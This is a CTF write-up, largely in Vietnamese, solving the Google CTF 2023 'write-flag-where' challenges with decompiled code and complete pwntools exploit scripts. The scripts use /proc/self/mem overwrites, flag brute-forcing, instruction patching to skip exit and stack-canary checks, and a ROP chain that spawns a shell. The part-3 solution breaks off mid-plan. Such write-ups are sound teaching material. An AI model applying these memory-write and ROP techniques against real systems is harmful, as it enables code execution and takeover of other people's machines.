GoogleCTF 2023 Quals

write-flag-where123

February 14, 2026 October 20, 2025 Hard 🧩 Puzzly
Author Author Hung Nguyen Tuong

wfw1 (Easy)

This challenge is not a classical pwn. In order to solve it will take skills of your own. An excellent primitive you get for free. Choose an address and I will write what I see. But the author is cursed or perhaps it’s just out of spite. For the flag that you seek is the thing you will write. ASLR isn’t the challenge so I’ll tell you what. I’ll give you my mappings so that you’ll have a shot.

Setup

Sau khi setup kctf và chal, mình thử netcat:

$ nc 0 39265
== proof-of-work: disabled ==
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
62ad0b849000-62ad0b84a000 r--p 00000000 00:143 8270888                   /home/user/chal
62ad0b84a000-62ad0b84b000 r-xp 00001000 00:143 8270888                   /home/user/chal
62ad0b84b000-62ad0b84c000 r--p 00002000 00:143 8270888                   /home/user/chal
62ad0b84c000-62ad0b84d000 r--p 00002000 00:143 8270888                   /home/user/chal
62ad0b84d000-62ad0b84e000 rw-p 00003000 00:143 8270888                   /home/user/chal
62ad0b84e000-62ad0b84f000 rw-p 00000000 00:00 0 
7d4a0e825000-7d4a0e828000 rw-p 00000000 00:00 0 
7d4a0e828000-7d4a0e850000 r--p 00000000 00:143 8271667                   /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0e850000-7d4a0e9e5000 r-xp 00028000 00:143 8271667                   /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0e9e5000-7d4a0ea3d000 r--p 001bd000 00:143 8271667                   /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0ea3d000-7d4a0ea41000 r--p 00214000 00:143 8271667                   /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0ea41000-7d4a0ea43000 rw-p 00218000 00:143 8271667                   /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0ea43000-7d4a0ea50000 rw-p 00000000 00:00 0 
7d4a0ea52000-7d4a0ea54000 rw-p 00000000 00:00 0 
7d4a0ea54000-7d4a0ea56000 r--p 00000000 00:143 8271649                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea56000-7d4a0ea80000 r-xp 00002000 00:143 8271649                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea80000-7d4a0ea8b000 r--p 0002c000 00:143 8271649                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea8c000-7d4a0ea8e000 r--p 00037000 00:143 8271649                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea8e000-7d4a0ea90000 rw-p 00039000 00:143 8271649                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffed1d13000-7ffed1d34000 rw-p 00000000 00:00 0                          [stack]
7ffed1d86000-7ffed1d8a000 r--p 00000000 00:00 0                          [vvar]
7ffed1d8a000-7ffed1d8c000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]


Give me an address and a length just so:
<address> <length>
And I'll write it wherever you want it to go.
If an exit is all that you desire
Send me nothing and I will happily expire

Remote thì ok, nhưng local thì binary ko chạy được:

$ ./chal
$ ./chal

Thử gdb vào thì binary cũng tắt luôn:

Mình thử break tại dup2(1, 1337):

Hàm dup2() return về -1 thay vì 1337. Nguyên nhân đó là shell session hiện tại giới hạn tài nguyên có thể được sử dụng, các process được sinh ra bởi shell sẽ kế thừa giới hạn này. Trong đó, file descriptor cao nhất có thể được cấp phát là 1023:

$ ulimit -n
1024
$ ulimit -n 10000
$ ulimit -n
10000

Để có thể chạy binary, mình sẽ set tăng giới hạn lên 10000, chạy ok rồi:

$ ./chal | head -n 10
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
645eb0ff5000-645eb0ff6000 r--p 00000000 103:02 20056627                  /home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where/challenge/chal
645eb0ff6000-645eb0ff7000 r-xp 00001000 103:02 20056627                  /home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where/challenge/chal

Recon

Mitigations

$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where/challenge/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int len; // [rsp+Ch] [rbp-74h] BYREF
  int maps_fd; // [rsp+10h] [rbp-70h]
  int flag_fd; // [rsp+14h] [rbp-6Ch]
  int socket_fd; // [rsp+18h] [rbp-68h]
  int null_fd; // [rsp+1Ch] [rbp-64h]
  int v9; // [rsp+20h] [rbp-60h]
  int mem_fd; // [rsp+24h] [rbp-5Ch]
  __off64_t address; // [rsp+28h] [rbp-58h] BYREF
  __int64 buf[10]; // [rsp+30h] [rbp-50h] BYREF

  buf[9] = __readfsqword(0x28u);
  maps_fd = open("/proc/self/maps", 0, envp);
  read(maps_fd, maps, 0x1000uLL);
  close(maps_fd);
  flag_fd = open("./flag.txt", 0);
  if ( flag_fd == -1 )
  {
    puts("flag.txt not found");
    return 1;
  }
  else
  {
    if ( read(flag_fd, &flag, 0x80uLL) > 0 )
    {
      close(flag_fd);
      socket_fd = dup2(1, 1337);
      null_fd = open("/dev/null", 2);
      dup2(null_fd, 0);
      dup2(null_fd, 1);
      dup2(null_fd, 2);
      close(null_fd);
      alarm(0x3Cu);
      dprintf(
        socket_fd,
        "This challenge is not a classical pwn\n"
        "In order to solve it will take skills of your own\n"
        "An excellent primitive you get for free\n"
        "Choose an address and I will write what I see\n"
        "But the author is cursed or perhaps it's just out of spite\n"
        "For the flag that you seek is the thing you will write\n"
        "ASLR isn't the challenge so I'll tell you what\n"
        "I'll give you my mappings so that you'll have a shot.\n");
      dprintf(socket_fd, "%s\n\n", maps);
      while ( 1 )
      {
        dprintf(
          socket_fd,
          "Give me an address and a length just so:\n"
          "<address> <length>\n"
          "And I'll write it wherever you want it to go.\n"
          "If an exit is all that you desire\n"
          "Send me nothing and I will happily expire\n");
        memset(buf, 0, 64);
        v9 = read(socket_fd, buf, 64uLL);
        if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &address, &len) != 2 || len > 127 )
          break;
        mem_fd = open("/proc/self/mem", 2);
        lseek64(mem_fd, address, 0);
        write(mem_fd, &flag, len);
        close(mem_fd);
      }
      exit(0);
    }
    puts("flag.txt empty");
    return 1;
  }
}

/proc/self/maps là một file ảo trên linux, nó chứa map hoàn chỉnh bộ nhớ ảo của process. Nó là symlink đến /proc/<pid>/map.

/proc/self/mem cũng là một file ảo, cho phép ghi trực tiếp vào “mọi nơi” trong bộ nhớ ảo của process.

Solve

Mình chỉ việc tìm địa chỉ của chuỗi nào đó như “Give me an address and a length just so” rồi ghi flag vào đó. Vòng lặp tiếp theo sẽ in ra flag.

$ strings -tx ./chal | grep "Give me"
   21e0 Give me an address and a length just so:

Script

Vì pwntools khi khởi chạy target sẽ mặc định sử dụng PIPE (giao tiếp 1 chiều) cho stdin của target binary, PTY (giao tiếp 2 chiều) cho stdout và stdin. Ban đầu binary có fd 0 trỏ đến pipe, fd 1 và 2 trỏ đến cùng slave PTY. Binary dup2(1, 1337), cấp phát fd 1337 trỏ đến slave PTY, sau đó trỏ hết 0,1,2 về /dev/null. Nên bây giờ binary chỉ giao tiếp qua 1337. Mặc định pwntools vẫn gửi qua pipe, khiến cho binary ko đọc được từ pipe vì chỉ giao tiếp qua 1337 là PTY. Nên trong exploit mình cần phải sử dụng p = process([exe.path], stdin=PTY):

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path], stdin=PTY)
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 39265
        return remote(host, port)

p = conn()

ru(p, b'shot.\n')
exe.address = leak_hex(rn(p, 12))
lg("binary base", exe.address)

sla(p, b'expire', f"{hex(exe.address + 0x21e0)} 127".encode())

print(rr(p, 0.1).strip().decode())
$ py solve.py 
[+] Opening connection to localhost on port 39265: Done
binary base -> 0x5e784a7fe000
CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}
[*] Closed connection to localhost port 39265

wfw2 (Medium)

Was that too easy? Let’s make it tough. It’s the challenge from before, but I’ve removed all the fluff

Recon

Mitigations

$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where2/challenge/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int length; // [rsp+Ch] [rbp-74h] BYREF
  int maps_fd; // [rsp+10h] [rbp-70h]
  int flag_fd; // [rsp+14h] [rbp-6Ch]
  int socket_fd; // [rsp+18h] [rbp-68h]
  int null_fd; // [rsp+1Ch] [rbp-64h]
  int v9; // [rsp+20h] [rbp-60h]
  int mem_fd; // [rsp+24h] [rbp-5Ch]
  __off64_t address; // [rsp+28h] [rbp-58h] BYREF
  __int64 buf[10]; // [rsp+30h] [rbp-50h] BYREF

  buf[9] = __readfsqword(0x28u);
  maps_fd = open("/proc/self/maps", 0, envp);
  read(maps_fd, maps, 0x1000uLL);
  close(maps_fd);
  flag_fd = open("./flag.txt", 0);
  if ( flag_fd == -1 )
  {
    puts("flag.txt not found");
    return 1;
  }
  else
  {
    if ( read(flag_fd, &flag, 0x80uLL) > 0 )
    {
      close(flag_fd);
      socket_fd = dup2(1, 1337);
      null_fd = open("/dev/null", 2);
      dup2(null_fd, 0);
      dup2(null_fd, 1);
      dup2(null_fd, 2);
      close(null_fd);
      alarm(0x3Cu);
      dprintf(
        socket_fd,
        "Was that too easy? Let's make it tough\nIt's the challenge from before, but I've removed all the fluff\n");
      dprintf(socket_fd, "%s\n\n", maps);
      while ( 1 )
      {
        memset(buf, 0, 64);
        v9 = read(socket_fd, buf, 0x40uLL);
        if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &address, &length) != 2 || length > 127 )
          break;
        mem_fd = open("/proc/self/mem", 2);
        lseek64(mem_fd, address, 0);
        write(mem_fd, &flag, length);
        close(mem_fd);
      }
      exit(0);
    }
    puts("flag.txt empty");
    return 1;
  }
}

Bài này khó hơn vì mỗi vòng lặp ko in ra cái gì nữa. Mình sẽ cần phải leak flag một cách gián tiếp.

Intended Solve - Bruteforce

Intended solution đó chính bruteforce. Bằng cách đó là mình ghi đè ký tự đầu tiên của chuỗi format “0x%llx %u” thành lần lượt các ký tự trong flag.

Giả sử flag bắt đầu với “CTF”, mình ghi đè thành “Cx%llx %u”. Vì tất nhiên mình ko biết ký tự ghi đè là gì, nên mình sẽ bruteforce, mình thử “ax…”, “bx…”, “cx…”,… “Cx…”. Nếu đúng vòng lặp sẽ tiếp tục, nếu sai sẽ break và exit chương trình.

Mình tìm địa chỉ của chuỗi format như sau:

$ strings -tx chal | grep "0x"
   20bc 0x%llx %u

Script

#!/usr/bin/env python3

from pwn import *
import string

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
context.log_level = 'critical'

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /

set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path], stdin=PTY)
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 43683
        return remote(host, port)

flag = ''
done = False
charset = string.ascii_letters + string.digits + string.punctuation
print(charset)
delay = 0.05
i = 0

while not done:
    print(f"pos {i+1}: ", end='')
    
    for c in charset:
        if i == 0 and c == '0':
            continue

        print(c, end=' ')

        p = conn()

        ru(p, b'fluff\n')
        exe.address = leak_hex(rn(p, 12))
        for j in range(25): rl(p)

        sl(p, f'{hex(exe.address + 0x20bc - i)} {i + 1}'.encode())

        sleep(0.01)

        sl(p, f'{c}x{exe.bss()} 1'.encode())

        try:
            p.recvn(5, delay)
            i += 1
            flag += c
            print("- MATCH!")
            print("Flag:", flag)

            if c == '}':
                done = True
            
            p.close()
            break

        except EOFError:
            p.close()

Tua nhanh x25:

Unintended Solve - Instruction Overwrite

Đây là một unintended solution ở trong writeup chính thức.

Mặc dù trong pseudo code, chỉ có lời gọi exit(), nhưng để ý trong mã assembly còn có một lời gọi hàm dprintf() để in ra chuỗi “Somehow you got here?”.

Vì mình có khả năng ghi vào bất cứ nơi đâu trong bộ nhớ của process, kể cả code, nên mục tiêu của mình ghi flag vào địa chỉ của chuỗi “Somehow…” rồi bypass hàm exit() để in ra flag. Tuy nhiên ở cách này, mình giả sử rằng biết trước flag bắt đầu bằng “CTF”.

Địa chỉ của chuỗi:

$ strings -tx chal | grep Somehow
   20d5 Somehow you got here??

Chuỗi “CTF” có hex tương ứng là:

$ echo -n "CTF" | xxd -p
435446

Mình chỉ quan tâm 2 ký tự đầu bởi vì disassembly 43 54 được một instruction hợp lệ:

$ rasm2 -a x86 -b 64 -d "4354"
push r12

Vậy mình sẽ ghi đè vào hàm main các lệnh push r12 để bypass hàm exit().

Trước:

Sau:

Còn chừa 1 byte ở cuối nên mình ghi 54 vào vì như thế mới có instruction hợp lệ.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal_patched", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *main+618
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path], stdin=PTY)
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 43683
        return remote(host, port)

p = conn()

def w(addr, length):
    print(f'addr={hex(addr)} len={length}')
    sl(p, f'{hex(addr)} {length}'.encode())
    sleep(0.1)

ru(p, b'fluff\n')
exe.address = leak_hex(rn(p, 12))
lg("binary base", exe.address)

w(exe.symbols['main'] + 621, 2)
for i in range(5):
    w(exe.symbols['main'] + 612 + i * 2, 2)

w(exe.address + 0x20d5, 127)

sl(p, b'GIMME THE FLAG!!!')

ru(p, b'CTF')
print(f"CTF{ra(p, 0.1).strip().decode()}")
$ py solve.py
[+] Opening connection to localhost on port 43683: Done
binary base -> 0x607d3cec0000
addr=0x607d3cec1536 len=2
addr=0x607d3cec152d len=2
addr=0x607d3cec152f len=2
addr=0x607d3cec1531 len=2
addr=0x607d3cec1533 len=2
addr=0x607d3cec1535 len=2
addr=0x607d3cec20d5 len=127
[+] Receiving all data: Done (43B)
[*] Closed connection to localhost port 43683
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}

My Solve - Instruction Overwrite + ROP to gain RCE

Chỉ đọc mỗi flag thì hơi chán, mình muốn RCE rồi ‘cat flag’ cho đẳng cấp.

Trước hết mình lấy libc gốc của chal để patch binary:

$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > kubectl get pods
NAME                   READY   STATUS    RESTARTS   AGE
wfw2-c6f55c759-24gbt   1/1     Running   1          11h
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > kubectl cp wfw2-c6f55c759-24gbt:/chroot/lib/x86_64-linux-gnu/libc.so.6 ./challenge/libc.so.6 -c challenge
tar: Removing leading `/' from member names
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > cd challenge/
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > pwninit --bin chal --libc libc.so.6

Ý tưởng của mình là ghi đè vào len của read(socket_fd, buf, 0x40uLL) để có thể buffer overflow trên stack, sau đó ROP để spawn shell.

Nhưng vấn đề là còn stack canary. Vậy thì mình ghi đè vào code để bypass luôn __stack_chk_fail().

Trước:

Sau:

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-2.35.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *main+618
set follow-fork-mode child
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path], stdin=PTY)
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 43683
        return remote(host, port)

p = conn()

def w(addr, length):
    print(f'addr={hex(addr)} len={length}')
    sl(p, f'{hex(addr)} {length}'.encode())
    sleep(0.1)

ru(p, b'fluff\n')
exe.address = leak_hex(rn(p, 12))
lg("binary base", exe.address)

r = b''
while True:
    r = rl(p)
    if b'libc.so.6' in r:
        libc.address = leak_hex(r[:12])
        break
lg("libc base", libc.address)

w(exe.symbols['main'] + 671, 2)
for i in range(30):
    w(exe.symbols['main'] + 612 + i * 2, 2)

w(exe.symbols['main'] + 453+1, 4)

print("ROP")
sl(p, flat(
    pad(88),
    libc.address + 0x000000000002a3e5, # pop rdi ; ret
    binsh(libc),
    libc.address + 0x000000000002be51, # pop rsi ; ret
    0,
    libc.address + 0x000000000011f497, # pop rdx ; pop r12 ; ret
    0, 0,
    libc.address + 0x0000000000045eb0, # pop rax ; ret
    0x3b,
    libc.address + 0x0000000000029db4, # syscall
))

rr(p, 0.1)
print("spawn shell")
ia(p)

wfw3 (Hard)

Your skills are considerable, I’m sure you’ll agree. But this final level’s toughness fills me with glee. No writes to my binary, this I require. For otherwise I will surely expire.

Recon

Mitigations

$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where3/challenge/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int length; // [rsp+Ch] [rbp-74h] BYREF
  int maps_fd; // [rsp+10h] [rbp-70h]
  int flag_fd; // [rsp+14h] [rbp-6Ch]
  int socket_fd; // [rsp+18h] [rbp-68h]
  int null_fd; // [rsp+1Ch] [rbp-64h]
  int v9; // [rsp+20h] [rbp-60h]
  int mem_fd; // [rsp+24h] [rbp-5Ch]
  __off64_t address; // [rsp+28h] [rbp-58h] BYREF
  __int64 buf[10]; // [rsp+30h] [rbp-50h] BYREF

  buf[9] = __readfsqword(0x28u);
  maps_fd = open("/proc/self/maps", 0, envp);
  read(maps_fd, maps, 0x1000uLL);
  close(maps_fd);
  flag_fd = open("./flag.txt", 0);
  if ( flag_fd == -1 )
  {
    puts("flag.txt not found");
    return 1;
  }
  else
  {
    if ( read(flag_fd, &flag, 0x80uLL) > 0 )
    {
      close(flag_fd);
      socket_fd = dup2(1, 1337);
      null_fd = open("/dev/null", 2);
      dup2(null_fd, 0);
      dup2(null_fd, 1);
      dup2(null_fd, 2);
      close(null_fd);
      alarm(0x3Cu);
      dprintf(
        socket_fd,
        "Your skills are considerable, I'm sure you'll agree\n"
        "But this final level's toughness fills me with glee\n"
        "No writes to my binary, this I require\n"
        "For otherwise I will surely expire\n");
      dprintf(socket_fd, "%s\n\n", maps);
      while ( 1 )
      {
        memset(buf, 0, 64);
        v9 = read(socket_fd, buf, 0x40uLL);
        if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &address, &length) != 2
          || length > 127
          || address >= (unsigned __int64)main - 0x5000 && (unsigned __int64)main + 0x5000 >= address )
        {
          break;
        }
        mem_fd = open("/proc/self/mem", 2);
        lseek64(mem_fd, address, 0);
        write(mem_fd, &flag, length);
        close(mem_fd);
      }
      exit(0);
    }
    puts("flag.txt empty");
    return 1;
  }
}

Chal này khó hơn nhiều ở chỗ, mình gần như ko được ghi vào vùng địa chỉ của binary nữa. Nên bây giờ chỉ có thể ghi vào nơi khác như libc, stack,…

My Solve - Instruction Overwrite + ROP to gain RCE

Vì writeup chính thức lại bruteforce, mình ko thích, mình tham writeup này https://blog.bronson113.org/2023/06/26/googlectf-2023-writeup.html#write-flag-where---part-3 để đọc luôn flag. Nhưng đọc mỗi flag thì ko sướng, mình lại muốn RCE cơ.

Vì mình có thể ghi vào libc, mình target vào 1 hàm nào đó trong libc. Ở đây mình target hàm read() khi read(socket_fd, buf, 0x40uLL); Duy nhất ở đây cho phép mình nhập dữ liệu.

Tra perplexity thì mình biết rằng 0x43 (chữ cái C) là một prefix ở trên kiến trúc 64bit. Nó là một optional byte đặt trước opcode chính của instruction. Nếu nhiều byte 43 đứng liền nhau thì CPU bỏ qua toàn bộ byte 43 ở trước, chỉ giữ lại cái cuối cùng ngay trước opcode chính. Coi như ko có instruction ở trước luôn, vậy thì nó cũng sẽ behave kiểu như nop. Tất nhiên chal ở trên là lúc mình chưa biết đến cái này nên mình ghi 43 54 để có push r12. Bây giờ chỉ cần 43 là được. Mà thôi mình cũng lười sửa.

Trước:

pwndbg> u read 50
 ► 0x784474914980 <read>        endbr64
   0x784474914984 <read+4>      mov    eax, dword ptr fs:[0x18]     EAX, [0x784474c15758]
   0x78447491498c <read+12>     test   eax, eax
   0x78447491498e <read+14>     jne    read+32                     <read+32>
 
   0x784474914990 <read+16>     syscall
   0x784474914992 <read+18>     cmp    rax, -0x1000     0xfffffffffffffe00 - -0x1000
   0x784474914998 <read+24>     ja     read+112                    <read+112>
 
   0x78447491499a <read+26>     ret   
 
   0x78447491499b <read+27>     nop    dword ptr [rax + rax]
   0x7844749149a0 <read+32>     sub    rsp, 0x28
   0x7844749149a4 <read+36>     mov    qword ptr [rsp + 0x18], rdx
   0x7844749149a9 <read+41>     mov    qword ptr [rsp + 0x10], rsi
   0x7844749149ae <read+46>     mov    dword ptr [rsp + 8], edi
   0x7844749149b2 <read+50>     call   __pthread_enable_asynccancel <__pthread_enable_asynccancel>
 
   0x7844749149b7 <read+55>     mov    rdx, qword ptr [rsp + 0x18]
   0x7844749149bc <read+60>     mov    rsi, qword ptr [rsp + 0x10]
   0x7844749149c1 <read+65>     mov    r8d, eax
   0x7844749149c4 <read+68>     mov    edi, dword ptr [rsp + 8]
   0x7844749149c8 <read+72>     xor    eax, eax                        EAX => 0
   0x7844749149ca <read+74>     syscall <SYS_read>
   0x7844749149cc <read+76>     cmp    rax, -0x1000
   0x7844749149d2 <read+82>     ja     read+136                    <read+136>
 
   0x7844749149d4 <read+84>     mov    edi, r8d
   0x7844749149d7 <read+87>     mov    qword ptr [rsp + 8], rax
   0x7844749149dc <read+92>     call   __pthread_disable_asynccancel <__pthread_disable_asynccancel>
 
   0x7844749149e1 <read+97>     mov    rax, qword ptr [rsp + 8]
   0x7844749149e6 <read+102>    add    rsp, 0x28
   0x7844749149ea <read+106>    ret   
 
   0x7844749149eb <read+107>    nop    dword ptr [rax + rax]
   0x7844749149f0 <read+112>    mov    rdx, qword ptr [rip + 0x104419]     RDX, [0x784474a18e10] => 0xffffffffffffff80
   0x7844749149f7 <read+119>    neg    eax
   0x7844749149f9 <read+121>    mov    dword ptr fs:[rdx], eax
   0x7844749149fc <read+124>    mov    rax, 0xffffffffffffffff
   0x784474914a03 <read+131>    ret   
 
   0x784474914a04 <read+132>    nop    dword ptr [rax]
   0x784474914a08 <read+136>    mov    rdx, qword ptr [rip + 0x104401]     RDX, [0x784474a18e10] => 0xffffffffffffff80
   0x784474914a0f <read+143>    neg    eax
   0x784474914a11 <read+145>    mov    dword ptr fs:[rdx], eax
   0x784474914a14 <read+148>    mov    rax, 0xffffffffffffffff
   0x784474914a1b <read+155>    jmp    read+84                     <read+84>
 
   0x784474914a1d               nop    dword ptr [rax]

Kế hoạch là như sau:

  1. Ghi đè để bypass read+32: ko giảm rsp (ko mở rộng stack nữa), mục tiêu là để các instruction đằng sau mà động đến rsp + offset sẽ sử dụng dữ liệu mà mình nhập vào buffer với syscall tại read+16.
  2. Ghi đè rsp + 0x18 thành rsp + 0x43 tại read+55, mình sẽ nhập dữ liệu sao cho giá trị được gán vào rdx cực lớn, overflow tẹt ga.
  3. Ghi đè để bypass read+82, vì mình nhắm sử dụng ret ở read+106, ghi đè để nó ko nhảy đến read+136.
  4. Ghi đè 0x28 thành 0x43 tại read+102, vì mình sẽ ghi ROP vào đoạn vị trí rsp + 0x43.
  5. Sau cùng, ghi đè để bypass read+26, ret ở đây thì hết phim.

Sau:

pwndbg> u read 50
 ► 0x7ac3b4714980 <read>        endbr64
   0x7ac3b4714984 <read+4>      mov    eax, dword ptr fs:[0x18]     EAX, [0x7ac3b49a1758]
   0x7ac3b471498c <read+12>     test   eax, eax
   0x7ac3b471498e <read+14>     jne    read+32                     <read+32>
 
   0x7ac3b4714990 <read+16>     syscall
   0x7ac3b4714992 <read+18>     cmp    rax, -0x1000     0xfffffffffffffe00 - -0x1000
   0x7ac3b4714998 <read+24>     ja     read+112                    <read+112>
 
